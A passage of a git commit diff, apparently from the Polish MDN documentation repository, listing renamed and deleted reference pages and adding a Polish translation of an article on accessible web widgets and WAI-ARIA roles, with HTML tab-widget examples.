files/pl/web/javascript/referencje/obiekty/map/get/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/map/has/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/map/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/map/keys/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/map/set/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/map/size/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/map/values/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/math/abs/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/math/acos/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/math/asin/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/math/atan/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/math/atan2/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/math/ceil/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/math/cos/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/math/e/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/math/exp/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/math/floor/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/math/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/math/ln10/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/math/ln2/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/math/log/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/math/log10e/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/math/log2e/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/math/max/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/math/min/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/math/pi/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/math/pow/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/math/random/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/math/round/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/math/sign/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/math/sin/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/math/sqrt/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/math/sqrt1_2/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/math/sqrt2/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/math/tan/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/nan/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/null/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/number/constructor/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/number/epsilon/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/number/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/number/isinteger/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/number/isnan/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/number/max_value/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/number/min_value/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/number/nan/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/number/negative_infinity/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/number/positive_infinity/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/number/toexponential/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/number/tofixed/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/number/tolocalestring/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/number/toprecision/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/number/tostring/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/object/assign/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/object/constructor/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/object/freeze/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/object/getownpropertydescriptor/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/object/hasownproperty/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/object/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/object/proto/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/object/prototype/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/object/seal/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/object/tolocalestring/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/object/tosource/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/object/tostring/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/object/valueof/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/parsefloat/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/parseint/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/promise/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/proxy/handler/apply/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/proxy/handler/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/proxy/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/rangeerror/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/rangeerror/prototype/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/regexp/exec/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/regexp/global/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/regexp/ignorecase/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/regexp/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/regexp/lastmatch/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/regexp/prototype/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/regexp/source/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/regexp/test/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/regexp/tosource/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/regexp/tostring/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/set/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/set/set.prototype.add()/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/set/set.prototype.clear()/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/set/set.prototype.delete()/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/string/anchor/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/string/big/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/string/blink/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/string/bold/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/string/charat/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/string/charcodeat/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/string/concat/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/string/fontcolor/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/string/fontsize/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/string/fromcharcode/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/string/fromcodepoint/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/string/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/string/italics/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/string/link/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/string/prototype/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/string/repeat/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/string/search/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/string/slice/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/string/small/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/string/strike/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/string/sub/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/string/substr/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/string/substring/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/string/sup/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/string/tolowercase/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/string/tosource/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/string/tostring/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/string/touppercase/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/string/valueof/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/symbol/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/syntaxerror/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/uint16array/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/undefined/index.html delete mode 100644 files/pl/web/javascript/referencje/operatory/bitwise_operators/index.html delete mode 100644 files/pl/web/javascript/referencje/operatory/destructuring_assignment/index.html delete mode 100644 files/pl/web/javascript/referencje/operatory/function_star_/index.html delete mode 100644 files/pl/web/javascript/referencje/operatory/grouping/index.html delete mode 100644 files/pl/web/javascript/referencje/operatory/index.html delete mode 100644 files/pl/web/javascript/referencje/operatory/logical_operators/index.html delete mode 100644 files/pl/web/javascript/referencje/operatory/new.target/index.html delete mode 100644 files/pl/web/javascript/referencje/operatory/nullish_coalescing_operator/index.html delete mode 100644 files/pl/web/javascript/referencje/operatory/object_initializer/index.html delete mode 100644 files/pl/web/javascript/referencje/operatory/operator_delete/index.html delete mode 100644 files/pl/web/javascript/referencje/operatory/operator_function/index.html delete mode 100644 files/pl/web/javascript/referencje/operatory/operator_in/index.html delete mode 100644 files/pl/web/javascript/referencje/operatory/operator_instanceof/index.html delete mode 100644 files/pl/web/javascript/referencje/operatory/operator_new/index.html delete mode 100644 files/pl/web/javascript/referencje/operatory/operator_potoku/index.html delete mode 100644 files/pl/web/javascript/referencje/operatory/operator_przecinkowy/index.html delete mode 100644 files/pl/web/javascript/referencje/operatory/operator_typeof/index.html delete mode 100644 files/pl/web/javascript/referencje/operatory/operator_void/index.html delete mode 100644 files/pl/web/javascript/referencje/operatory/operator_warunkowy/index.html delete mode 100644 files/pl/web/javascript/referencje/operatory/operatory_arytmetyczne/index.html delete mode 100644 "files/pl/web/javascript/referencje/operatory/operatory_dzia\305\202aj\304\205ce_na_ci\304\205gach_znak\303\263w/index.html" delete mode 100644 "files/pl/web/javascript/referencje/operatory/operatory_pami\304\231ci/index.html" delete mode 100644 "files/pl/web/javascript/referencje/operatory/operatory_por\303\263wnania/index.html" delete mode 100644 files/pl/web/javascript/referencje/operatory/operatory_przypisania/index.html delete mode 100644 "files/pl/web/javascript/referencje/operatory/pierwsze\305\204stwo_operator\303\263w/index.html" delete mode 100644 "files/pl/web/javascript/referencje/operatory/sk\305\202adnia_rozwini\304\231cia/index.html" delete mode 100644 files/pl/web/javascript/referencje/operatory/spread_operator/index.html delete mode 100644 files/pl/web/javascript/referencje/operatory/super/index.html delete mode 100644 files/pl/web/javascript/referencje/operatory/this/index.html delete mode 100644 files/pl/web/javascript/referencje/operatory/yield/index.html delete mode 100644 files/pl/web/javascript/referencje/operatory/yield_star_/index.html delete mode 100644 files/pl/web/javascript/referencje/polecenia/block/index.html delete mode 100644 files/pl/web/javascript/referencje/polecenia/break/index.html delete mode 100644 files/pl/web/javascript/referencje/polecenia/class/index.html delete mode 100644 files/pl/web/javascript/referencje/polecenia/const/index.html delete mode 100644 files/pl/web/javascript/referencje/polecenia/continue/index.html delete mode 100644 files/pl/web/javascript/referencje/polecenia/debugger/index.html delete mode 100644 files/pl/web/javascript/referencje/polecenia/default/index.html delete mode 100644 files/pl/web/javascript/referencje/polecenia/do...while/index.html delete mode 100644 files/pl/web/javascript/referencje/polecenia/empty/index.html delete mode 100644 files/pl/web/javascript/referencje/polecenia/etykieta/index.html delete mode 100644 files/pl/web/javascript/referencje/polecenia/export/index.html delete mode 100644 files/pl/web/javascript/referencje/polecenia/for...in/index.html delete mode 100644 files/pl/web/javascript/referencje/polecenia/for/index.html delete mode 100644 files/pl/web/javascript/referencje/polecenia/function/index.html delete mode 100644 files/pl/web/javascript/referencje/polecenia/function_star_/index.html delete mode 100644 files/pl/web/javascript/referencje/polecenia/funkcja_async/index.html delete mode 100644 files/pl/web/javascript/referencje/polecenia/if...else/index.html delete mode 100644 files/pl/web/javascript/referencje/polecenia/import/index.html delete mode 100644 files/pl/web/javascript/referencje/polecenia/index.html delete mode 100644 files/pl/web/javascript/referencje/polecenia/return/index.html delete mode 100644 files/pl/web/javascript/referencje/polecenia/switch/index.html delete mode 100644 files/pl/web/javascript/referencje/polecenia/throw/index.html delete mode 100644 files/pl/web/javascript/referencje/polecenia/var/index.html delete mode 100644 files/pl/web/javascript/referencje/polecenia/while/index.html delete mode 100644 "files/pl/web/javascript/referencje/przestarza\305\202e_w\305\202asno\305\233ci_i_metody/index.html" delete mode 100644 "files/pl/web/javascript/referencje/s\305\202owa_zarezerwowane/index.html" delete mode 100644 files/pl/web/javascript/typy_oraz_struktury_danych/index.html delete mode 100644 files/pl/web/javascript/wprowadzenie_do_programowania_obiektowego_w_jezyku_javascript/index.html delete mode 100644 "files/pl/web/javascript/zasoby_j\304\231zyka_javascript/index.html" create mode 100644 files/pl/web/opensearch/index.html create mode 100644 files/pl/web/progressive_web_apps/responsive/media_types/index.html create mode 100644 files/pl/web/security/certificate_transparency/index.html create mode 100644 files/pl/web/security/index.html create mode 100644 files/pl/web/security/same-origin_policy/index.html delete mode 100644 files/pl/web/security/securing_your_site/konfiguracja_mime_na_serwerze/index.html create mode 100644 files/pl/web/security/subresource_integrity/index.html create mode 100644 files/pl/web/svg/element/circle/index.html delete mode 100644 "files/pl/web/svg/element/okr\304\205g/index.html" delete mode 100644 files/pl/web/svg/inne_zasoby/index.html create mode 100644 files/pl/web/svg/other_resources/index.html delete mode 100644 files/pl/web/svg/przewodnik/index.html delete mode 100644 files/pl/web/svg/przewodnik/svg_w_xhtml_-_wprowadzenie/index.html create mode 100644 files/pl/web/svg/tutorial/index.html create mode 100644 files/pl/web/svg/tutorial/svg_and_css/index.html create mode 100644 files/pl/web/svg/tutorial/svg_in_html_introduction/index.html delete mode 100644 files/pl/web/xml/wprowadzenie_do_xml-a/index.html create mode 100644 files/pl/web/xml/xml_introduction/index.html create mode 100644 files/pl/web/xpath/axes/index.html create mode 100644 files/pl/web/xpath/functions/boolean/index.html create mode 100644 files/pl/web/xpath/functions/ceiling/index.html create mode 100644 files/pl/web/xpath/functions/concat/index.html create mode 100644 files/pl/web/xpath/functions/contains/index.html create mode 100644 files/pl/web/xpath/functions/count/index.html create mode 100644 files/pl/web/xpath/functions/current/index.html create mode 100644 files/pl/web/xpath/functions/document/index.html create mode 100644 files/pl/web/xpath/functions/element-available/index.html create mode 100644 files/pl/web/xpath/functions/false/index.html create mode 100644 files/pl/web/xpath/functions/floor/index.html create mode 100644 files/pl/web/xpath/functions/format-number/index.html create mode 100644 files/pl/web/xpath/functions/function-available/index.html create mode 100644 files/pl/web/xpath/functions/generate-id/index.html create mode 100644 files/pl/web/xpath/functions/id/index.html create mode 100644 files/pl/web/xpath/functions/index.html create mode 100644 files/pl/web/xpath/functions/key/index.html create mode 100644 files/pl/web/xpath/functions/lang/index.html create mode 100644 files/pl/web/xpath/functions/last/index.html create mode 100644 files/pl/web/xpath/functions/local-name/index.html create mode 100644 files/pl/web/xpath/functions/name/index.html create mode 100644 files/pl/web/xpath/functions/namespace-uri/index.html create mode 100644 files/pl/web/xpath/functions/normalize-space/index.html create mode 100644 files/pl/web/xpath/functions/not/index.html create mode 100644 files/pl/web/xpath/functions/number/index.html create mode 100644 files/pl/web/xpath/functions/position/index.html create mode 100644 files/pl/web/xpath/functions/round/index.html create mode 100644 files/pl/web/xpath/functions/starts-with/index.html create mode 100644 files/pl/web/xpath/functions/string-length/index.html create mode 100644 files/pl/web/xpath/functions/string/index.html create mode 100644 files/pl/web/xpath/functions/substring-after/index.html create mode 100644 files/pl/web/xpath/functions/substring-before/index.html create mode 100644 files/pl/web/xpath/functions/substring/index.html create mode 100644 files/pl/web/xpath/functions/sum/index.html create mode 100644 files/pl/web/xpath/functions/system-property/index.html create mode 100644 files/pl/web/xpath/functions/translate/index.html create mode 100644 files/pl/web/xpath/functions/true/index.html create mode 100644 files/pl/web/xpath/functions/unparsed-entity-url/index.html delete mode 100644 files/pl/web/xpath/funkcje/boolean/index.html delete mode 100644 files/pl/web/xpath/funkcje/ceiling/index.html delete mode 100644 files/pl/web/xpath/funkcje/concat/index.html delete mode 100644 files/pl/web/xpath/funkcje/contains/index.html delete mode 100644 files/pl/web/xpath/funkcje/count/index.html delete mode 100644 files/pl/web/xpath/funkcje/current/index.html delete mode 100644 files/pl/web/xpath/funkcje/document/index.html delete mode 100644 files/pl/web/xpath/funkcje/element-available/index.html delete mode 100644 files/pl/web/xpath/funkcje/false/index.html delete mode 100644 files/pl/web/xpath/funkcje/floor/index.html delete mode 100644 files/pl/web/xpath/funkcje/format-number/index.html delete mode 100644 files/pl/web/xpath/funkcje/function-available/index.html delete mode 100644 files/pl/web/xpath/funkcje/generate-id/index.html delete mode 100644 files/pl/web/xpath/funkcje/id/index.html delete mode 100644 files/pl/web/xpath/funkcje/index.html delete mode 100644 files/pl/web/xpath/funkcje/key/index.html delete mode 100644 files/pl/web/xpath/funkcje/lang/index.html delete mode 100644 files/pl/web/xpath/funkcje/last/index.html delete mode 100644 files/pl/web/xpath/funkcje/local-name/index.html delete mode 100644 files/pl/web/xpath/funkcje/name/index.html delete mode 100644 files/pl/web/xpath/funkcje/namespace-uri/index.html delete mode 100644 files/pl/web/xpath/funkcje/normalize-space/index.html delete mode 100644 files/pl/web/xpath/funkcje/not/index.html delete mode 100644 files/pl/web/xpath/funkcje/number/index.html delete mode 100644 files/pl/web/xpath/funkcje/position/index.html delete mode 100644 files/pl/web/xpath/funkcje/round/index.html delete mode 100644 files/pl/web/xpath/funkcje/starts-with/index.html delete mode 100644 files/pl/web/xpath/funkcje/string-length/index.html delete mode 100644 files/pl/web/xpath/funkcje/string/index.html delete mode 100644 files/pl/web/xpath/funkcje/substring-after/index.html delete mode 100644 files/pl/web/xpath/funkcje/substring-before/index.html delete mode 100644 files/pl/web/xpath/funkcje/substring/index.html delete mode 100644 files/pl/web/xpath/funkcje/sum/index.html delete mode 100644 files/pl/web/xpath/funkcje/system-property/index.html delete mode 100644 files/pl/web/xpath/funkcje/translate/index.html delete mode 100644 files/pl/web/xpath/funkcje/true/index.html delete mode 100644 files/pl/web/xpath/funkcje/unparsed-entity-url/index.html delete mode 100644 files/pl/web/xpath/osie/index.html delete mode 100644 files/pl/web/xslt/apply-imports/index.html delete mode 100644 files/pl/web/xslt/apply-templates/index.html delete mode 100644 files/pl/web/xslt/attribute-set/index.html delete mode 100644 files/pl/web/xslt/attribute/index.html delete mode 100644 files/pl/web/xslt/call-template/index.html delete mode 100644 files/pl/web/xslt/choose/index.html delete mode 100644 files/pl/web/xslt/comment/index.html delete mode 100644 files/pl/web/xslt/copy-of/index.html delete mode 100644 files/pl/web/xslt/copy/index.html delete mode 100644 files/pl/web/xslt/decimal-format/index.html create mode 100644 files/pl/web/xslt/element/apply-imports/index.html create mode 100644 files/pl/web/xslt/element/apply-templates/index.html create mode 100644 files/pl/web/xslt/element/attribute-set/index.html create mode 100644 files/pl/web/xslt/element/attribute/index.html create mode 100644 files/pl/web/xslt/element/call-template/index.html create mode 100644 files/pl/web/xslt/element/choose/index.html create mode 100644 files/pl/web/xslt/element/comment/index.html create mode 100644 files/pl/web/xslt/element/copy-of/index.html create mode 100644 files/pl/web/xslt/element/copy/index.html create mode 100644 files/pl/web/xslt/element/decimal-format/index.html create mode 100644 files/pl/web/xslt/element/fallback/index.html create mode 100644 files/pl/web/xslt/element/for-each/index.html create mode 100644 files/pl/web/xslt/element/if/index.html create mode 100644 files/pl/web/xslt/element/import/index.html create mode 100644 files/pl/web/xslt/element/include/index.html create mode 100644 files/pl/web/xslt/element/key/index.html create mode 100644 files/pl/web/xslt/element/message/index.html create mode 100644 files/pl/web/xslt/element/namespace-alias/index.html create mode 100644 files/pl/web/xslt/element/number/index.html create mode 100644 files/pl/web/xslt/element/otherwise/index.html create mode 100644 files/pl/web/xslt/element/output/index.html create mode 100644 files/pl/web/xslt/element/param/index.html create mode 100644 files/pl/web/xslt/element/preserve-space/index.html create mode 100644 files/pl/web/xslt/element/processing-instruction/index.html create mode 100644 files/pl/web/xslt/element/sort/index.html create mode 100644 files/pl/web/xslt/element/strip-space/index.html create mode 100644 files/pl/web/xslt/element/stylesheet/index.html create mode 100644 files/pl/web/xslt/element/template/index.html create mode 100644 files/pl/web/xslt/element/text/index.html create mode 100644 files/pl/web/xslt/element/transform/index.html create mode 100644 files/pl/web/xslt/element/value-of/index.html create mode 100644 files/pl/web/xslt/element/variable/index.html create mode 100644 files/pl/web/xslt/element/when/index.html create mode 100644 files/pl/web/xslt/element/with-param/index.html delete mode 100644 files/pl/web/xslt/fallback/index.html delete mode 100644 files/pl/web/xslt/for-each/index.html delete mode 100644 files/pl/web/xslt/if/index.html delete mode 100644 files/pl/web/xslt/import/index.html delete mode 100644 files/pl/web/xslt/include/index.html delete mode 100644 files/pl/web/xslt/key/index.html delete mode 100644 files/pl/web/xslt/message/index.html delete mode 100644 files/pl/web/xslt/namespace-alias/index.html delete mode 100644 files/pl/web/xslt/number/index.html delete mode 100644 files/pl/web/xslt/otherwise/index.html delete mode 100644 files/pl/web/xslt/output/index.html delete mode 100644 files/pl/web/xslt/param/index.html delete mode 100644 files/pl/web/xslt/preserve-space/index.html delete mode 100644 files/pl/web/xslt/processing-instruction/index.html delete mode 100644 files/pl/web/xslt/sort/index.html delete mode 100644 files/pl/web/xslt/strip-space/index.html delete mode 100644 files/pl/web/xslt/stylesheet/index.html delete mode 100644 files/pl/web/xslt/template/index.html delete mode 100644 files/pl/web/xslt/text/index.html delete mode 100644 files/pl/web/xslt/transform/index.html delete mode 100644 files/pl/web/xslt/transformacje_xml_z_xslt/dokumentacja_xslt_xpath/index.html delete mode 100644 files/pl/web/xslt/transformacje_xml_z_xslt/index.html delete mode 100644 "files/pl/web/xslt/transformacje_xml_z_xslt/przeczytaj_wi\304\231cej/index.html" create mode 100644 files/pl/web/xslt/transforming_xml_with_xslt/for_further_reading/index.html create mode 100644 files/pl/web/xslt/transforming_xml_with_xslt/index.html create mode 100644 files/pl/web/xslt/transforming_xml_with_xslt/the_netscape_xslt_xpath_reference/index.html delete mode 100644 files/pl/web/xslt/value-of/index.html delete mode 100644 files/pl/web/xslt/variable/index.html delete mode 100644 files/pl/web/xslt/when/index.html delete mode 100644 files/pl/web/xslt/with-param/index.html (limited to 'files/pl/web') diff --git a/files/pl/web/accessibility/an_overview_of_accessible_web_applications_and_widgets/index.html b/files/pl/web/accessibility/an_overview_of_accessible_web_applications_and_widgets/index.html new file mode 100644 index 0000000000..06d9978f8a --- /dev/null +++ b/files/pl/web/accessibility/an_overview_of_accessible_web_applications_and_widgets/index.html @@ -0,0 +1,165 @@ +--- +title: An overview of accessible web applications and widgets +slug: Web/Dostępność/An_overview_of_accessible_web_applications_and_widgets +translation_of: Web/Accessibility/An_overview_of_accessible_web_applications_and_widgets +--- +

Sieć się zmienia. Statyczne witryny oparte na stronach są coraz częściej zastępowane dynamicznymi aplikacjami internetowymi w stylu aplikacji pulpitowych, które intensywnie wykorzystują JavaScript i AJAX. Projektanci tworzą niesamowite nowe widżety i kontrolki całkowicie za pomocą kombinacji JavaScript, HTML i CSS. Ta zmiana może znacznie poprawić responsywność i użyteczność internetu, ale wielu użytkowników jest zagrożonych wykluczeniem z powodu luk w dostępności. JavaScript tradycyjnie cieszy się reputacją niedostępności dla użytkowników technologii pomocniczych, takich jak czytniki ekranu, ale istnieją teraz sposoby na tworzenie dynamicznych interfejsów internetowych, które są dostępne dla szerokiego grona użytkowników.

+ +

Problem

+ +

Większość zestawów narzędzi JavaScript oferuje bibliotekę widżetów po stronie klienta, które naśladują zachowanie znanych interfejsów pulpitu. Suwaki, paski menu, widoki list plików i wiele więcej można zbudować za pomocą kombinacji JavaScript, CSS i HTML. Ponieważ specyfikacja HTML 4 nie zapewnia wbudowanych znaczników, które semantycznie opisują tego rodzaju widżety, programiści zazwyczaj używają ogólnych elementów, takich jak <div> i <span>. Skutkuje to widżetem, który wygląda jak jego odpowiednik na pulpicie, jednak zwykle nie ma wystarczającej ilości znaczników semantycznych do wykorzystania przez technologię wspomagającą. Dynamiczne treści na stronie internetowej mogą być szczególnie problematyczne dla użytkowników, którzy z jakiegoś powodu nie są w stanie wyświetlić ekranu. Informacje giełdowe, aktualizacje kanałów live twitter, wskaźniki postępu i podobne treści modyfikują DOM w taki sposób, że technologia wspomagająca (AT) może nie być świadoma. Wtedy z pomocą wkracza ARIA.

+ +

Przykład 1: Znaczniki dla widżetów kart zbudowanych bez etykietowania ARIA. W znacznikach nie ma informacji opisujących formę i funkcję widżetu.

+ +
<!-- To jest widget zakładek. Jak możesz to rozpoznać, patrząc tylko na znaczniki? -->
+<ol>
+  <li id="ch1Tab">
+    <a href="#cz1Panel">Część 1</a>
+  </li>
+  <li id="ch2Tab">
+    <a href="#cz2Panel">Część 2</a>
+  </li>
+  <li id="quizTab">
+    <a href="#quizPanel">Quiz</a>
+  </li>
+</ol>
+
+<div>
+  <div id="ch1Panel">Zawartość części nr 1 </div>
+  <div id="ch2Panel">Zawartość częśći nr 2</div>
+  <div id="quizPanel">Zawartość Quizu</div>
+</div>
+ +

Przykład 2: Sposób wizualnego przedstawienia widżetów karty. Użytkownicy mogą rozpoznać to wizualnie, jednak nie ma semantyki do odczytu maszynowego dla technologii wspomagającej.
+ Screenshot of the tabs widget

+ +

ARIA

+ +

WAI-ARIA, Accessible Rich Internet Applications specyfikacja wywodząca się od W3C Web Accessibility Initiative, umożliwia dodanie brakującej semantyki potrzebnej w przypadku technologii pomocniczych, takich jak czytniki ekranu. ARIA umożliwia programiście bardziej szczegółowe opisywanie tych widżetów poprzez dodawanie specjalnych atrybutów do znaczników. Zaprojektowany, aby wypełnić lukę pomiędzy standardowymi znacznikami HTML a formantami w stylu pulpitu znajdującymi się w dynamicznych aplikacjach internetowych, ARIA udostępnia role i stany, które opisują zachowanie najbardziej znanych widgetów interfejsu użytkownika.

+ +

Specyfikacja ARIA jest podzielona na trzy różne typy atrybutów: role, stany i właściwości. Role opisują widżety, które nie są w inny sposób dostępne w HTML 4, takie jak suwaki, paski menu, karty i okna dialogowe. Właściwości opisują charakterystykę tych widgetów, na przykład, czy są one przeciągalne, mają wymagany element lub czy powiązane jest z nim wyskakujące okienko. Stany opisują bieżący stan interakcji elementu, informując technologię asystującą, jeśli jest zajęta, wyłączona, wybrana lub ukryta.

+ +

Atrybuty ARIA mają być interpretowane automatycznie przez przeglądarkę i tłumaczone na natywne API systemu operacyjnego. Kiedy ARIA jest obecna, technologie asystujące są w stanie rozpoznać i sterować niestandardowymi kontrolkami JavaScript w taki sam sposób, jak robią to z odpowiednikami komputerów. Może to zapewnić znacznie bardziej spójny interfejs użytkownika, niż było to możliwe w poprzedniej generacji aplikacji internetowych, ponieważ użytkownicy technologii pomocniczych mogą wykorzystać całą swoją wiedzę na temat działania aplikacji komputerowych podczas korzystania z aplikacji internetowych.

+ +

Przykład 3: Znaczniki dla widżetów kart z dodanymi atrybutami ARIA.

+ +
<!-- Dodaliśmy atrybut "role" aby opisać listę kart i poszczególne karty. -->
+<ol role="tablist">
+  <li id="ch1Tab" role="tab">
+    <a href="#ch1Panel">Część 1</a>
+  </li>
+  <li id="ch2Tab" role="tab">
+    <a href="#ch2Panel">Część 2</a>
+  </li>
+  <li id="quizTab" role="tab">
+    <a href="#quizPanel">Quiz</a>
+  </li>
+</ol>
+
+<div>
+  <!-- Zwróć uwagę na rolę i atrybuty "aria-labelledby", które dodaliśmy do opisu tych paneli. -->
+  <div id="ch1Panel" role="tabpanel" aria-labelledby="ch1Tab">Zawartość części nr 1</div>
+  <div id="ch2Panel" role="tabpanel" aria-labelledby="ch2Tab">Zawartość części nr 2</div>
+  <div id="quizPanel" role="tabpanel" aria-labelledby="quizTab">Zawartość Quizu</div>
+</div>
+
+ +

ARIA jest obsługiwana w najnowszych wersjach wszystkich głównych przeglądarek, w tym Firefox, Safari, Opera, Chrome i Internet Explorer. Wiele technologii wspomagających, takich jak open source NVDA i czytniki ekranu Orca, również obsługuje ARIA. Coraz częściej biblioteki widgetów JavaScript, takie jak jQuery UI, YUI, Google Closure i Dojo Dijit, również zawierają znaczniki ARIA.

+ +

Zmiany prezentacyjne

+ +

Dynamiczne zmiany prezentacyjne obejmują używanie CSS do zmiany wyglądu treści (np. Czerwone obramowanie wokół nieprawidłowych danych lub zmiana koloru tła zaznaczonego pola wyboru), a także pokazywanie lub ukrywanie treści.

+ +

Zmiany stanu

+ +

ARIA udostępnia atrybuty do deklarowania bieżącego stanu widgetu interfejsu użytkownika. Przykłady obejmują (ale z pewnością nie są ograniczone do):

+ + + +

(Pełna lista stanów: ARIA list of states and properties.)

+ +

Programiści powinni używać stanów ARIA do wskazania stanu elementów widgetu interfejsu użytkownika i używać selektorów atrybutów CSS do zmiany wyglądu wizualnego na podstawie zmian stanu (zamiast używania skryptu do zmiany nazwy klasy na elemencie).

+ +

Zmiany widoczności

+ +

Gdy zmieni się widoczność zawartości (tzn. Element jest ukryty lub pokazany), programiści powinni zmienić wartość właściwości aria-hidden. Opisane powyżej techniki powinny być używane do deklarowania CSS do wizualnego ukrywania elementu za pomocą display:none.

+ +

Przykład przedstawia prosty formularz internetowy z etykietami narzędzi zawierającymi instrukcje powiązane z polami wprowadzania.

+ +

